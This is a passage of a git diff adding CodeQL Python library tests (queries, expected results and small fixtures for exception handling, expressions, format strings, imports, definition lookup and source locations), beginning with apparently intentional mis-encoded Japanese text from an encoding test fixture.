‚ÍŽÀ—pã‚Ì–Ú“I‚ɂ͂ ‚Ü‚è“K‚µ‚Ä‚¢‚Ü‚¹‚ñ‚Å‚µ‚½B +‚±‚̂悤‚È”wŒi‚©‚綂܂ꂽ Python ‚ÌŒ¾ŒêÝŒv‚ÍAuƒVƒ“ƒvƒ‹v‚ÅuK“¾‚ª—eˆÕv‚Æ‚¢‚¤–Ú•W‚Éd“_‚ª’u‚©‚ê‚Ä‚¢‚Ü‚·B +‘½‚­‚̃XƒNƒŠƒvƒgŒnŒ¾Œê‚ł̓†[ƒU‚Ì–Úæ‚Ì—˜•Ö«‚ð—D悵‚ÄFX‚È‹@”\‚ðŒ¾Œê—v‘f‚Æ‚µ‚ÄŽæ‚è“ü‚ê‚éꇂª‘½‚¢‚̂ł·‚ªAPython ‚ł͂»‚¤‚¢‚Á‚½¬×H‚ª’ljÁ‚³‚ê‚邱‚Ƃ͂ ‚܂肠‚è‚Ü‚¹‚ñB +Œ¾ŒêŽ©‘̂̋@”\‚ÍŬŒÀ‚ɉŸ‚³‚¦A•K—v‚È‹@”\‚ÍŠg’£ƒ‚ƒWƒ…[ƒ‹‚Æ‚µ‚ĒljÁ‚·‚éA‚Æ‚¢‚¤‚Ì‚ª Python ‚̃|ƒŠƒV[‚Å‚·B +""" diff --git a/python/ql/test/library-tests/encoding/utf8.py b/python/ql/test/library-tests/encoding/utf8.py new file mode 100644 index 00000000000..f440c6944d9 --- /dev/null +++ b/python/ql/test/library-tests/encoding/utf8.py @@ -0,0 +1,2 @@ +# Some abitrary prefix with no space beforecoding: utf-8 -*- +# €€€€ diff --git a/python/ql/test/library-tests/encoding/utf8_bom.py b/python/ql/test/library-tests/encoding/utf8_bom.py new file mode 100644 index 00000000000..509f44c690e --- /dev/null +++ b/python/ql/test/library-tests/encoding/utf8_bom.py @@ -0,0 +1 @@ +#Starts with a BOM diff --git a/python/ql/test/library-tests/exceptions/Handles.expected b/python/ql/test/library-tests/exceptions/Handles.expected new file mode 100644 index 00000000000..d3f408de146 --- /dev/null +++ b/python/ql/test/library-tests/exceptions/Handles.expected @@ -0,0 +1,10 @@ +| 37 | ControlFlowNode for ExceptStmt | class Exception3 | +| 39 | ControlFlowNode for ExceptStmt | class Exception2 | +| 41 | ControlFlowNode for ExceptStmt | class Exception1 | +| 43 | ControlFlowNode for ExceptStmt | class NotException2 | +| 47 | ControlFlowNode for ExceptStmt | builtin-class BaseException | +| 58 | ControlFlowNode for ExceptStmt | class Exception3 | +| 60 | ControlFlowNode for ExceptStmt | class NotException2 | +| 62 | ControlFlowNode for ExceptStmt | class InnerException5 | +| 68 | ControlFlowNode for ExceptStmt | builtin-class IndexError | +| 70 | ControlFlowNode for ExceptStmt | class Exception1 | diff --git a/python/ql/test/library-tests/exceptions/Handles.ql b/python/ql/test/library-tests/exceptions/Handles.ql new file mode 100644 index 00000000000..b3e9f792744 --- /dev/null +++ b/python/ql/test/library-tests/exceptions/Handles.ql @@ -0,0 +1,5 @@ +import python + +from ExceptFlowNode ex, Object t +where ex.handledException(t, _, _) +select ex.getLocation().getStartLine(), ex.toString(), t.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/exceptions/Legal.expected b/python/ql/test/library-tests/exceptions/Legal.expected new file mode 100644 index 00000000000..1b6fd6ec1c4 --- /dev/null +++ b/python/ql/test/library-tests/exceptions/Legal.expected @@ -0,0 +1,12 @@ +| class Exception1 | yes | +| class Exception2 | yes | +| class Exception3 | yes | +| class InnerException1 | yes | +| class InnerException2 | yes | +| class InnerException3 | yes | +| class InnerException4 | yes | +| class InnerException5 | yes | +| class InnerNotException1 | no | +| class InnerNotException2 | no | +| class NotException1 | no | +| class NotException2 | no | \ No newline at end of file diff --git a/python/ql/test/library-tests/exceptions/Legal.ql b/python/ql/test/library-tests/exceptions/Legal.ql new file mode 100644 index 00000000000..37488eb082b --- /dev/null +++ b/python/ql/test/library-tests/exceptions/Legal.ql @@ -0,0 +1,11 @@ +import python + +from ClassObject cls, string legal +where +not cls.isC() and cls.isLegalExceptionType() and legal = "yes" and not cls.failedInference() +or +not cls.isC() and not cls.isLegalExceptionType() and legal = "no" and not cls.failedInference() +or +not cls.isC() and cls.failedInference(legal) + +select cls.toString(), legal diff --git a/python/ql/test/library-tests/exceptions/test.py b/python/ql/test/library-tests/exceptions/test.py new file mode 100644 index 00000000000..bb708a2954e --- /dev/null +++ b/python/ql/test/library-tests/exceptions/test.py @@ -0,0 +1,71 @@ + +class NotException1(object): + pass + +class NotException2(object): + pass + + +class Exception1(BaseException): + pass + +class Exception2(KeyError): + pass + +class Exception3(Exception2): + pass + +def f(): + class InnerNotException1(object): + pass + + class InnerNotException2(object): + pass + + + class InnerException1(BaseException): + pass + + class InnerException2(KeyError): + pass + + class InnerException3(Exception2): + pass + +try: + some_call() +except Exception3: + pass +except Exception2: + pass +except Exception1: + pass +except NotException2: + pass +except UndefinedSymbol: + pass +except: + pass + + +def g(): + class InnerException4(Exception): + pass + class InnerException5(InnerException4): + pass + try: + some_call() + except Exception3: + pass + except NotException2: + pass + except InnerException5: + pass + +def h(seq): + try: + [x[0] for x in seq] + except IndexError: + pass + except Exception1: + pass diff --git a/python/ql/test/library-tests/exprs/AstParent.expected b/python/ql/test/library-tests/exprs/AstParent.expected new file mode 100644 index 00000000000..f082a67fcf6 --- /dev/null +++ b/python/ql/test/library-tests/exprs/AstParent.expected @@ -0,0 +1 @@ +| 0 | diff --git a/python/ql/test/library-tests/exprs/AstParent.ql b/python/ql/test/library-tests/exprs/AstParent.ql new file mode 100644 index 00000000000..3e26f672360 --- /dev/null +++ b/python/ql/test/library-tests/exprs/AstParent.ql @@ -0,0 +1,6 @@ +import python + +select +count(AstNode c | not exists(c.getParentNode()) and not c instanceof Module) ++ +count(AstNode c | strictcount(c.getParentNode()) > 1) \ No newline at end of file diff --git a/python/ql/test/library-tests/exprs/Child.expected b/python/ql/test/library-tests/exprs/Child.expected new file mode 100644 index 00000000000..91c6e7e87d2 --- /dev/null +++ b/python/ql/test/library-tests/exprs/Child.expected @@ -0,0 +1,34 @@ +| 0 | Module exprs_test | 2 | exprs_test.py:2:1:2:1 | ExprStmt | +| 0 | Module exprs_test | 3 | exprs_test.py:3:1:3:5 | ExprStmt | +| 0 | Module exprs_test | 4 | exprs_test.py:4:1:4:6 | ExprStmt | +| 0 | Module exprs_test | 5 | exprs_test.py:5:1:5:9 | ExprStmt | +| 0 | Module exprs_test | 6 | exprs_test.py:6:1:6:5 | AssignStmt | +| 0 | Module exprs_test | 7 | exprs_test.py:7:1:7:1 | ExprStmt | +| 0 | Module exprs_test | 8 | exprs_test.py:8:1:8:12 | ExprStmt | +| 0 | Module exprs_test | 9 | exprs_test.py:9:1:9:11 | ExprStmt | +| 0 | Module exprs_test | 11 | exprs_test.py:11:1:11:11 | ExprStmt | +| 2 | ExprStmt | 2 | exprs_test.py:2:1:2:1 | IntegerLiteral | +| 3 | ExprStmt | 3 | exprs_test.py:3:2:3:4 | Tuple | +| 3 | Tuple | 3 | exprs_test.py:3:2:3:2 | IntegerLiteral | +| 3 | Tuple | 3 | exprs_test.py:3:4:3:4 | IntegerLiteral | +| 4 | ExprStmt | 4 | exprs_test.py:4:1:4:6 | List | +| 4 | List | 4 | exprs_test.py:4:2:4:2 | IntegerLiteral | +| 4 | List | 4 | exprs_test.py:4:5:4:5 | IntegerLiteral | +| 5 | ExprStmt | 5 | exprs_test.py:5:1:5:9 | __debug__ | +| 6 | AssignStmt | 6 | exprs_test.py:6:1:6:1 | x | +| 6 | AssignStmt | 6 | exprs_test.py:6:5:6:5 | IntegerLiteral | +| 7 | ExprStmt | 7 | exprs_test.py:7:1:7:1 | x | +| 8 | Attribute | 8 | exprs_test.py:8:1:8:6 | List | +| 8 | Attribute() | 8 | exprs_test.py:8:1:8:10 | Attribute | +| 8 | ExprStmt | 8 | exprs_test.py:8:1:8:12 | Attribute() | +| 8 | List | 8 | exprs_test.py:8:2:8:2 | IntegerLiteral | +| 8 | List | 8 | exprs_test.py:8:5:8:5 | IntegerLiteral | +| 9 | ExprStmt | 9 | exprs_test.py:9:1:9:11 | Subscript | +| 9 | List | 9 | exprs_test.py:9:2:9:2 | IntegerLiteral | +| 9 | List | 9 | exprs_test.py:9:5:9:6 | IntegerLiteral | +| 9 | Subscript | 9 | exprs_test.py:9:1:9:7 | List | +| 9 | Subscript | 9 | exprs_test.py:9:9:9:10 | IntegerLiteral | +| 11 | DictUnpacking | 11 | exprs_test.py:11:8:11:10 | arg | +| 11 | ExprStmt | 11 | exprs_test.py:11:1:11:11 | func() | +| 11 | func() | 11 | exprs_test.py:11:1:11:4 | func | +| 11 | func() | 11 | exprs_test.py:11:6:11:10 | DictUnpacking | diff --git a/python/ql/test/library-tests/exprs/Child.ql b/python/ql/test/library-tests/exprs/Child.ql new file mode 100644 index 00000000000..0638f6c4e22 --- /dev/null +++ b/python/ql/test/library-tests/exprs/Child.ql @@ -0,0 +1,6 @@ +import python + +from AstNode p, AstNode c +where p.getAChildNode() = c +select p.getLocation().getStartLine(), p.toString(), c.getLocation().getStartLine(), c + diff --git a/python/ql/test/library-tests/exprs/IsConstant.expected b/python/ql/test/library-tests/exprs/IsConstant.expected new file mode 100644 index 00000000000..7f61cee7a65 --- /dev/null +++ b/python/ql/test/library-tests/exprs/IsConstant.expected @@ -0,0 +1,17 @@ +| exprs_test.py:2:1:2:1 | IntegerLiteral | +| exprs_test.py:3:2:3:2 | IntegerLiteral | +| exprs_test.py:3:2:3:4 | Tuple | +| exprs_test.py:3:4:3:4 | IntegerLiteral | +| exprs_test.py:4:1:4:6 | List | +| exprs_test.py:4:2:4:2 | IntegerLiteral | +| exprs_test.py:4:5:4:5 | IntegerLiteral | +| exprs_test.py:6:5:6:5 | IntegerLiteral | +| exprs_test.py:8:1:8:6 | List | +| exprs_test.py:8:1:8:10 | Attribute | +| exprs_test.py:8:2:8:2 | IntegerLiteral | +| exprs_test.py:8:5:8:5 | IntegerLiteral | +| exprs_test.py:9:1:9:7 | List | +| exprs_test.py:9:1:9:11 | Subscript | +| exprs_test.py:9:2:9:2 | IntegerLiteral | +| exprs_test.py:9:5:9:6 | IntegerLiteral | +| exprs_test.py:9:9:9:10 | IntegerLiteral | diff --git a/python/ql/test/library-tests/exprs/IsConstant.ql b/python/ql/test/library-tests/exprs/IsConstant.ql new file mode 100644 index 00000000000..ecef17eb385 --- /dev/null +++ b/python/ql/test/library-tests/exprs/IsConstant.ql @@ -0,0 +1,5 @@ +import python + +from Expr e +where e.isConstant() +select e diff --git a/python/ql/test/library-tests/exprs/exprs_test.py b/python/ql/test/library-tests/exprs/exprs_test.py new file mode 100644 index 00000000000..b7f41ca1e27 --- /dev/null +++ b/python/ql/test/library-tests/exprs/exprs_test.py @@ -0,0 +1,11 @@ + +1 +(2,3) +[4, 5] +__debug__ +x = 6 +x +[7, 8].len() +[9, 10][11] + +func(**arg) diff --git a/python/ql/test/library-tests/filters/generated/Filter.expected b/python/ql/test/library-tests/filters/generated/Filter.expected new file mode 100644 index 00000000000..3ddcffc3d94 --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/Filter.expected @@ -0,0 +1,4 @@ +| generic.py | tools/idna-data | +| sphinx.py | Sphinx | +| swig.py | SWIG | +| thrift.py | Thrift | diff --git a/python/ql/test/library-tests/filters/generated/Filter.ql b/python/ql/test/library-tests/filters/generated/Filter.ql new file mode 100644 index 00000000000..d741328d6f7 --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/Filter.ql @@ -0,0 +1,6 @@ + +import python +import semmle.python.filters.GeneratedCode + +from GeneratedFile f +select f.toString(), f.getTool() diff --git a/python/ql/test/library-tests/filters/generated/generic.py b/python/ql/test/library-tests/filters/generated/generic.py new file mode 100644 index 00000000000..5cdde9b8890 --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/generic.py @@ -0,0 +1 @@ +# This file is automatically generated by tools/idna-data diff --git a/python/ql/test/library-tests/filters/generated/sphinx.py b/python/ql/test/library-tests/filters/generated/sphinx.py new file mode 100644 index 00000000000..8e80f7914e3 --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/sphinx.py @@ -0,0 +1,3 @@ +# -*- coding: utf-8 -*- +# Autogenerated by Sphinx on Mon May 16 13:41:38 2016 +topics = {'assert': '\n' } diff --git a/python/ql/test/library-tests/filters/generated/swig.py b/python/ql/test/library-tests/filters/generated/swig.py new file mode 100644 index 00000000000..a8621334476 --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/swig.py @@ -0,0 +1,6 @@ +# This file was automatically generated by SWIG (http://www.swig.org). +# Version 2.0.9 +# +# Do not make changes to this file unless you know what you are doing--modify +# the SWIG interface file instead. + diff --git a/python/ql/test/library-tests/filters/generated/thrift.py b/python/ql/test/library-tests/filters/generated/thrift.py new file mode 100644 index 00000000000..36b7e9e103a --- /dev/null +++ b/python/ql/test/library-tests/filters/generated/thrift.py @@ -0,0 +1,7 @@ +# +# Autogenerated by Thrift Compiler (0.9.1) +# +# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING +# +# options string: py:utf8strings +# diff --git a/python/ql/test/library-tests/filters/tests/Filter.expected b/python/ql/test/library-tests/filters/tests/Filter.expected new file mode 100644 index 00000000000..7e2143c9ac4 --- /dev/null +++ b/python/ql/test/library-tests/filters/tests/Filter.expected @@ -0,0 +1,3 @@ +| Class MyTest | +| Function test_1 | +| Function test_2 | diff --git a/python/ql/test/library-tests/filters/tests/Filter.ql b/python/ql/test/library-tests/filters/tests/Filter.ql new file mode 100644 index 00000000000..e20231ea5fa --- /dev/null +++ b/python/ql/test/library-tests/filters/tests/Filter.ql @@ -0,0 +1,6 @@ + +import python +import semmle.python.filters.Tests + +from TestScope t +select t.toString() diff --git a/python/ql/test/library-tests/filters/tests/test.py b/python/ql/test/library-tests/filters/tests/test.py new file mode 100644 index 00000000000..cfcdc56ba64 --- /dev/null +++ b/python/ql/test/library-tests/filters/tests/test.py @@ -0,0 +1,12 @@ + + +class TestCase: + pass + +class MyTest(TestCase): + + def test_1(self): + pass + + def test_2(self): + pass diff --git a/python/ql/test/library-tests/formatting/FormatArguments.expected b/python/ql/test/library-tests/formatting/FormatArguments.expected new file mode 100755 index 00000000000..0a76d0c9923 --- /dev/null +++ b/python/ql/test/library-tests/formatting/FormatArguments.expected @@ -0,0 +1,24 @@ +| 3 | {name!r}, {0} | 0 | 8 | 'name' | +| 3 | {name!r}, {0} | 10 | 13 | 0 | +| 4 | {0}, {1} | 0 | 3 | 0 | +| 4 | {0}, {1} | 5 | 8 | 1 | +| 5 | {}, {} | 0 | 2 | 0 | +| 5 | {}, {} | 4 | 6 | 1 | +| 8 | {{}}> | 10 | 12 | 0 | +| 10 | {{0}}{0} | 5 | 8 | 0 | +| 11 | {{{}}} | 2 | 4 | 0 | +| 13 | { {{ 0} }} | 0 | 7 | ' {{ 0' | +| 14 | { { { 0} }} | 4 | 8 | ' 0' | +| 15 | {{{{{} | 4 | 6 | 0 | +| 16 | {}\r{}{:<{width}} | 0 | 2 | 0 | +| 16 | {}\r{}{:<{width}} | 3 | 5 | 1 | +| 16 | {}\r{}{:<{width}} | 5 | 16 | 2 | +| 16 | {}\r{}{:<{width}} | 8 | 15 | 'width' | +| 17 | {}\r{}{:<{}} | 0 | 2 | 0 | +| 17 | {}\r{}{:<{}} | 3 | 5 | 1 | +| 17 | {}\r{}{:<{}} | 5 | 11 | 2 | +| 17 | {}\r{}{:<{}} | 8 | 10 | 3 | +| 19 | {x:0.{decimals}f} | 0 | 17 | 'x' | +| 19 | {x:0.{decimals}f} | 5 | 15 | 'decimals' | +| 21 | invalid value of type {.__name__}: {} | 22 | 33 | 0 | +| 21 | invalid value of type {.__name__}: {} | 35 | 37 | 1 | diff --git a/python/ql/test/library-tests/formatting/FormatArguments.ql b/python/ql/test/library-tests/formatting/FormatArguments.ql new file mode 100644 index 00000000000..19e47b7fc44 --- /dev/null +++ b/python/ql/test/library-tests/formatting/FormatArguments.ql @@ -0,0 +1,10 @@ + +import python +import Expressions.Formatting.AdvancedFormatting + +from AdvancedFormatString a, string name, int start, int end +where +name = "'" + a.getFieldName(start, end) + "'" +or +name = a.getFieldNumber(start, end).toString() +select a.getLocation().getStartLine(), a.getText(), start, end, name diff --git a/python/ql/test/library-tests/formatting/FormatFields.expected b/python/ql/test/library-tests/formatting/FormatFields.expected new file mode 100755 index 00000000000..a3ff555b02f --- /dev/null +++ b/python/ql/test/library-tests/formatting/FormatFields.expected @@ -0,0 +1,24 @@ +| 3 | {name!r}, {0} | 0 | 8 | {name!r} | +| 3 | {name!r}, {0} | 10 | 13 | {0} | +| 4 | {0}, {1} | 0 | 3 | {0} | +| 4 | {0}, {1} | 5 | 8 | {1} | +| 5 | {}, {} | 0 | 2 | {} | +| 5 | {}, {} | 4 | 6 | {} | +| 8 | {{}}> | 10 | 12 | {} | +| 10 | {{0}}{0} | 5 | 8 | {0} | +| 11 | {{{}}} | 2 | 4 | {} | +| 13 | { {{ 0} }} | 0 | 7 | { {{ 0} | +| 14 | { { { 0} }} | 4 | 8 | { 0} | +| 15 | {{{{{} | 4 | 6 | {} | +| 16 | {}\r{}{:<{width}} | 0 | 2 | {} | +| 16 | {}\r{}{:<{width}} | 3 | 5 | {} | +| 16 | {}\r{}{:<{width}} | 5 | 16 | {:<{width}} | +| 16 | {}\r{}{:<{width}} | 8 | 15 | {width} | +| 17 | {}\r{}{:<{}} | 0 | 2 | {} | +| 17 | {}\r{}{:<{}} | 3 | 5 | {} | +| 17 | {}\r{}{:<{}} | 5 | 11 | {:<{}} | +| 17 | {}\r{}{:<{}} | 8 | 10 | {} | +| 19 | {x:0.{decimals}f} | 0 | 17 | {x:0.{decimals}f} | +| 19 | {x:0.{decimals}f} | 5 | 15 | {decimals} | +| 21 | invalid value of type {.__name__}: {} | 22 | 33 | {.__name__} | +| 21 | invalid value of type {.__name__}: {} | 35 | 37 | {} | diff --git a/python/ql/test/library-tests/formatting/FormatFields.ql b/python/ql/test/library-tests/formatting/FormatFields.ql new file mode 100644 index 00000000000..b8a3b913355 --- /dev/null +++ b/python/ql/test/library-tests/formatting/FormatFields.ql @@ -0,0 +1,6 @@ + +import python +import Expressions.Formatting.AdvancedFormatting + +from AdvancedFormatString a, int start, int end +select a.getLocation().getStartLine(), a.getText(), start, end, a.getField(start, end) diff --git a/python/ql/test/library-tests/formatting/test.py b/python/ql/test/library-tests/formatting/test.py new file mode 100755 index 00000000000..54ca7e8e94b --- /dev/null +++ b/python/ql/test/library-tests/formatting/test.py @@ -0,0 +1,21 @@ +#Simple cases + +"{name!r}, {0}".format() +"{0}, {1}".format() +"{}, {}".format() + +#Complex cases +"{{}}>".format(html_class) + +"{{0}}{0}".format("X") +"{{{}}}".format("X") + +"{ {{ 0} }}".format("X") +"{ { { 0} }}".format("X") +"{{{{{}".format("X") +u'{}\r{}{:<{width}}'.format(1, 2, 3, width=msg_width) +u'{}\r{}{:<{}}'.format(1, 2, 3, 4) +#ODASA 6428 +'{x:0.{decimals}f}'.format(x=x, decimals=int(decimals)) + +"invalid value of type {.__name__}: {}".format(int, 1) diff --git a/python/ql/test/library-tests/imports/Alias.expected b/python/ql/test/library-tests/imports/Alias.expected new file mode 100644 index 00000000000..6ea5e16c29c --- /dev/null +++ b/python/ql/test/library-tests/imports/Alias.expected @@ -0,0 +1,3 @@ +| Alias | a | a | +| Alias | b | b | +| Alias | c | d | \ No newline at end of file diff --git a/python/ql/test/library-tests/imports/Alias.ql b/python/ql/test/library-tests/imports/Alias.ql new file mode 100644 index 00000000000..5a7c034d02a --- /dev/null +++ b/python/ql/test/library-tests/imports/Alias.ql @@ -0,0 +1,5 @@ +import python + +from Alias a, ImportMember i +where i = a.getValue() +select a.toString(), i.getName(), a.getAsname().toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/imports/test.py b/python/ql/test/library-tests/imports/test.py new file mode 100644 index 00000000000..b4ef0503ff6 --- /dev/null +++ b/python/ql/test/library-tests/imports/test.py @@ -0,0 +1,6 @@ + +from x.y.z import ( + a, + b as b, + c as d +) diff --git a/python/ql/test/library-tests/jump_to_defn/Remote.expected b/python/ql/test/library-tests/jump_to_defn/Remote.expected new file mode 100755 index 00000000000..c8c85fb4428 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/Remote.expected @@ -0,0 +1,16 @@ +| module | +| module/C | +| module/C.m | +| module/C.sm | +| module/f | +| test | +| test/BaseClass | +| test/C | +| test/D | +| test/D.cls_attr | +| test/D.meth | +| test/DerivedClass | +| test/f | +| test/func | +| test/module | +| test/no_phi_defn | diff --git a/python/ql/test/library-tests/jump_to_defn/Remote.ql b/python/ql/test/library-tests/jump_to_defn/Remote.ql new file mode 100644 index 00000000000..18b0ebacdc0 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/Remote.ql @@ -0,0 +1,10 @@ + +import python +import analysis.DefinitionTracking +import analysis.CrossProjectDefinitions + +from Definition defn, Symbol s +where s.find() = defn.getAstNode() and +// Exclude dunder names as these vary from version to version. +not s.toString().regexpMatch(".+__") +select s.toString() diff --git a/python/ql/test/library-tests/jump_to_defn/Sanity.expected b/python/ql/test/library-tests/jump_to_defn/Sanity.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/jump_to_defn/Sanity.ql b/python/ql/test/library-tests/jump_to_defn/Sanity.ql new file mode 100644 index 00000000000..0e4455ab09b --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/Sanity.ql @@ -0,0 +1,22 @@ + +import python +import analysis.DefinitionTracking +import analysis.CrossProjectDefinitions + +predicate local_problem(Definition defn, string issue, string repr) { + not exists(defn.toString()) and issue = "no toString()" and repr = "a local definition" + or + not exists(defn.getAstNode()) and issue = "no getAstNode()" and repr = defn.toString() + or + not exists(defn.getLocation()) and issue = "no getLocation()" and repr = defn.toString() + or + count(defn.getLocation())> 1 and issue = "more than one getLocation()" and repr = defn.toString() +} + +predicate remote_problem(Symbol s, string issue, string repr) { + not exists(s.toString()) and issue = "no toString()" and repr = "a symbol" +} + +from string issue, string repr +where remote_problem(_, issue, repr) or local_problem(_, issue, repr) +select issue, repr diff --git a/python/ql/test/library-tests/jump_to_defn/Symbol.expected b/python/ql/test/library-tests/jump_to_defn/Symbol.expected new file mode 100644 index 00000000000..5e576517552 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/Symbol.expected @@ -0,0 +1,21 @@ +| module | module.py:0 | +| module/C | module.py:2 | +| module/C.m | module.py:8 | +| module/C.sm | module.py:4 | +| module/__name__ | module.py:0 | +| module/f | module.py:11 | +| test | test.py:0 | +| test/BaseClass | test.py:36 | +| test/BaseClass.__init__ | test.py:38 | +| test/C | module.py:2 | +| test/D | test.py:21 | +| test/D.__init__ | test.py:27 | +| test/D.cls_attr | test.py:24 | +| test/D.meth | test.py:30 | +| test/DerivedClass | test.py:41 | +| test/DerivedClass.__init__ | test.py:43 | +| test/__name__ | test.py:0 | +| test/f | module.py:11 | +| test/func | test.py:6 | +| test/module | test.py:2 | +| test/no_phi_defn | test.py:14 | diff --git a/python/ql/test/library-tests/jump_to_defn/Symbol.ql b/python/ql/test/library-tests/jump_to_defn/Symbol.ql new file mode 100644 index 00000000000..7f111863b06 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/Symbol.ql @@ -0,0 +1,8 @@ + +import python +import analysis.CrossProjectDefinitions + +from Symbol symbol + +select symbol.toString(), symbol.find().getLocation().toString() + diff --git a/python/ql/test/library-tests/jump_to_defn/module.py b/python/ql/test/library-tests/jump_to_defn/module.py new file mode 100644 index 00000000000..1c5102fe405 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/module.py @@ -0,0 +1,13 @@ + +class C(object): + + @staticmethod + def sm(arg): + pass + + def m(self, arg): + pass + +def f(arg): + pass + diff --git a/python/ql/test/library-tests/jump_to_defn/test.expected b/python/ql/test/library-tests/jump_to_defn/test.expected new file mode 100755 index 00000000000..183908d5896 --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/test.expected @@ -0,0 +1,41 @@ +| test.py:2 | ImportExpr | Definition module.py:0 | +| test.py:3 | ImportExpr | Definition module.py:0 | +| test.py:3 | ImportMember | Definition module.py:2 | +| test.py:4 | ImportExpr | Definition module.py:0 | +| test.py:4 | ImportMember | Definition module.py:11 | +| test.py:7 | Attribute | Definition module.py:4 | +| test.py:7 | C | Definition test.py:3 | +| test.py:7 | arg | Definition test.py:6 | +| test.py:8 | Attribute | Definition module.py:8 | +| test.py:8 | C | Definition test.py:3 | +| test.py:8 | arg | Definition test.py:6 | +| test.py:9 | arg | Definition test.py:6 | +| test.py:9 | f | Definition test.py:4 | +| test.py:10 | Attribute | Definition module.py:2 | +| test.py:10 | Attribute | Definition module.py:4 | +| test.py:10 | arg | Definition test.py:6 | +| test.py:10 | module | Definition test.py:2 | +| test.py:11 | Attribute | Definition module.py:2 | +| test.py:11 | Attribute | Definition module.py:8 | +| test.py:11 | arg | Definition test.py:6 | +| test.py:11 | module | Definition test.py:2 | +| test.py:12 | Attribute | Definition module.py:11 | +| test.py:12 | arg | Definition test.py:6 | +| test.py:12 | module | Definition test.py:2 | +| test.py:15 | seq | Definition test.py:14 | +| test.py:16 | cond | Definition test.py:14 | +| test.py:17 | seq | Definition test.py:14 | +| test.py:19 | x | Definition test.py:15 | +| test.py:19 | x | Definition test.py:17 | +| test.py:31 | Attribute | Definition test.py:24 | +| test.py:31 | self | Definition test.py:30 | +| test.py:33 | Attribute | Definition test.py:24 | +| test.py:33 | D | Definition test.py:21 | +| test.py:41 | BaseClass | Definition test.py:36 | +| test.py:44 | Attribute | Definition test.py:38 | +| test.py:44 | BaseClass | Definition test.py:36 | +| test.py:44 | self | Definition test.py:43 | +| test.py:45 | Attribute | Definition test.py:38 | +| test.py:45 | DerivedClass | Definition test.py:41 | +| test.py:45 | self | Definition test.py:43 | +| test.py:46 | m | Definition test.py:45 | diff --git a/python/ql/test/library-tests/jump_to_defn/test.py b/python/ql/test/library-tests/jump_to_defn/test.py new file mode 100644 index 00000000000..c14cb6436bc --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/test.py @@ -0,0 +1,47 @@ + +import module +from module import C +from module import f + +def func(arg): + C.sm(arg) + C().m(arg) + f(arg) + module.C.sm(arg) + module.C().m(arg) + module.f(arg) + +def no_phi_defn(seq, cond): + x = seq[0] + if cond: + x = seq[1] + pass + x + +class D(object): + + cls_attr = ( + 3 + ) + + def __init__(self): + pass + + def meth(self): + return self.cls_attr + +D.cls_attr + + +class BaseClass(object): + + def __init__(self): + pass + +class DerivedClass(BaseClass): + + def __init__(self): + BaseClass.__init__(self) + m = super(DerivedClass, self).__init__ + m() + diff --git a/python/ql/test/library-tests/jump_to_defn/test.ql b/python/ql/test/library-tests/jump_to_defn/test.ql new file mode 100644 index 00000000000..ed8bf8ab84c --- /dev/null +++ b/python/ql/test/library-tests/jump_to_defn/test.ql @@ -0,0 +1,11 @@ +/** + * @name test + */ + +import python +import analysis.DefinitionTracking + +from Expr use, Definition defn +where defn = getADefinition(use) +and use.getEnclosingModule().getName() = "test" +select use.getLocation().toString(), use.toString(), defn.toString() diff --git a/python/ql/test/library-tests/locations/elif/test.expected b/python/ql/test/library-tests/locations/elif/test.expected new file mode 100644 index 00000000000..f6682119ad1 --- /dev/null +++ b/python/ql/test/library-tests/locations/elif/test.expected @@ -0,0 +1,18 @@ +| If | 3 | 1 | 3 | 5 | +| If | 5 | 1 | 5 | 7 | +| If | 7 | 1 | 7 | 7 | +| If | 10 | 1 | 10 | 5 | +| If | 12 | 1 | 12 | 7 | +| If | 13 | 5 | 13 | 9 | +| ModuleMetrics | 0 | 0 | 0 | 0 | +| Name | 3 | 4 | 3 | 4 | +| Name | 5 | 6 | 5 | 6 | +| Name | 7 | 6 | 7 | 6 | +| Name | 10 | 4 | 10 | 4 | +| Name | 12 | 6 | 12 | 6 | +| Name | 13 | 8 | 13 | 8 | +| Pass | 4 | 5 | 4 | 8 | +| Pass | 6 | 5 | 6 | 8 | +| Pass | 8 | 5 | 8 | 8 | +| Pass | 11 | 5 | 11 | 8 | +| Pass | 14 | 9 | 14 | 12 | diff --git a/python/ql/test/library-tests/locations/elif/test.py b/python/ql/test/library-tests/locations/elif/test.py new file mode 100644 index 00000000000..eeaf2828457 --- /dev/null +++ b/python/ql/test/library-tests/locations/elif/test.py @@ -0,0 +1,14 @@ + +#Elif +if a: + pass +elif b: + pass +elif c: + pass + +if x: + pass +elif y: + if z: + pass diff --git a/python/ql/test/library-tests/locations/elif/test.ql b/python/ql/test/library-tests/locations/elif/test.ql new file mode 100644 index 00000000000..ca7177e847c --- /dev/null +++ b/python/ql/test/library-tests/locations/elif/test.ql @@ -0,0 +1,5 @@ +import python + +from AstNode ast, Location l +where ast.getLocation() = l +select ast.getAQlClass(), l.getStartLine(), l.getStartColumn(), l.getEndLine(), l.getEndColumn() \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.expected b/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.expected new file mode 100644 index 00000000000..ef11cdc0d36 --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.expected @@ -0,0 +1,14 @@ +| 2 | "Hello " | 1 | 8 | +| 2 | "World" | 14 | 20 | +| 5 | "Goodbye " | 1 | 10 | +| 6 | "World" | 1 | 7 | +| 9 | "a" | 3 | 5 | +| 9 | "b" | 7 | 9 | +| 12 | "c" | 2 | 4 | +| 12 | "d" | 6 | 8 | +| 16 | 'e' | 5 | 7 | +| 17 | 'f' | 5 | 7 | +| 32 | '' | 8 | 9 | +| 32 | 'word' 